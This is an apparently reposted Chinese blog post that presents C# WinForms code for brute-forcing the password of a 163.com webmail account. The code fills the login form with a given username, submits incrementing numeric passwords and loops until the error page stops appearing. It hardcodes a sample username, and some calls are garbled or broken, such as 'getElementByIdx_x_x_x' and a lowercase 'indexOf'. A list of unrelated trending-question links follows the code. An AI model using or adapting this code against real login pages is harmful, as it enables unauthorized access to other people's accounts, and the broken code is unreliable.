c#暴力破解网站密码简单实现

来源:互联网 发布:淘宝手机助手ios 编辑:程序博客网 时间:2024/05/18 00:19

暴力破解网站密码

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.IO;


namespace ReadNetPage
{
public partial class Form1 : Form
{
public int password1 = 000000;
public Form1()
{
InitializeComponent();
}

WebBrowser webBrowser1 = new WebBrowser();
private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
{
#region 参数设置
HtmlElement btnSubmit = webBrowser1.Document.All["login"]; //获取登录对应元素
HtmlElement tbUserid = webBrowser1.Document.All["login_name"]; //获取用户名对应元素
HtmlElement tbStyle = webBrowser1.Document.All["style"]; //获取版本对应元素
HtmlElement tbPasswd = webBrowser1.Document.All["login_password"]; //获取密码对应元素
if (tbUserid == null || tbPasswd == null )
return;
tbUserid.SetAttribute("value", username.Text); //给用户名赋值
tbPasswd.SetAttribute("value", password1.ToString()); //给密码赋值
tbStyle.Children[Convert.ToInt32(txtstyle.Text)].SetAttribute("selected", "selected");//设置版本
btnSubmit.InvokeMember("click"); //模拟点击登录按钮
#endregion


}

//在确定按钮的响应函数btnOK_Click中添加如下代码:

private void btnOK_Click_1(object sender, EventArgs e)
{
bool check =true;
int kcount = 0;
string uuu = "http://email.163.com/";


while ( check==true)
{
webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(webBrowser1_DocumentCompleted);
webBrowser1.Navigate(uuu);
while ( webBrowser1.ReadyState != WebBrowserReadyState.Complete)
{
Application.DoEvents();
}


while (webBrowser1.Document.Url.ToString() ==uuu)
{
Application.DoEvents();
kcount++;
}

if (webBrowser1.Document.Url.ToString().indexOf("http://email.163.com/errorpage/err_163.htm?errorType")>=0)
{
password1++;
userpassword.Text = password1.ToString();
}
else
{
check = false;
}
}//while
webBrowser2.Url = webBrowser1.Url;
MessageBox.Show(webBrowser1.Document.Url.ToString()+" "+kcount.ToString());

}

private void button2_Click(object sender, EventArgs e)
{
string url = "http://email.163.com/";
WebBrowser ber = new WebBrowser();
ber.Navigate(new Uri(url));
while (ber.ReadyState != WebBrowserReadyState.Complete)
{
Application.DoEvents();
}
ber.document.getElementByIdx_x_x_x("login_name").InnerText = "lj669888";//fill name
ber.document.getElementByIdx_x_x_x("login_password").InnerText = "000000";//fill pwd
HtmlElement formLogin = ber.Document.Forms["FrontPage_Form1"];
formLogin.InvokeMember("submit");


HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;
request.Method = "GET";
request.KeepAlive = false;


// 接收返回的页面
HttpWebResponse response = request.GetResponse() as HttpWebResponse;

System.IO.Stream responseStream = response.GetResponseStream();
System.IO.StreamReader reader = new System.IO.StreamReader(responseStream, Encoding.Default);
string srcString = reader.ReadToEnd();

MessageBox.Show(srcString);

}


}



}

0 0
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 偷渡后国内资产怎么办 手机系统太低怎么办 拍古装是短发怎么办 吞下一个李子核怎么办? 宝宝吞了荔枝核怎么办 美吉姆培训不过怎么办 1岁宝宝挑食怎么办 宝宝不愿意开口说话怎么办 自闭症孩子不爱学习怎么办 宝宝不独立走路怎么办 六个月宝宝不认人怎么办 小孩隔奶奶涨怎么办 小孩段奶奶涨怎么办 1岁半还不会说话怎么办 孩子嗓子哑了怎么办 小朋友嗓子哑了怎么办 4周岁宝宝拉肚子怎么办 小孩不肯拉小便怎么办 做销售不爱说话怎么办 我伤害了朋友怎么办 三岁发音不准怎么办 心里憋不住话怎么办 自己不长记性怎么办 孩子不愿意开口说话怎么办 孩子不爱开口说话怎么办 宝宝犟脾气不好怎么办 小孩说话不算话怎么办 孩子说话不算话怎么办 孩子故意不好好说话怎么办 小孩说话吐字不清楚怎么办 腿老是抽筋是怎么办 半夜睡觉脚抽筋怎么办 我不爱说话内向怎么办 小孩子吐字不清怎么办 宝宝前边头发少怎么办 宝宝咬嘴唇龅牙怎么办 小孩老是咬下唇怎么办 五月小孩掉下床怎么办 小孩说话夹舌头怎么办 小孩自闭不说话怎么办 孩子突然不说话怎么办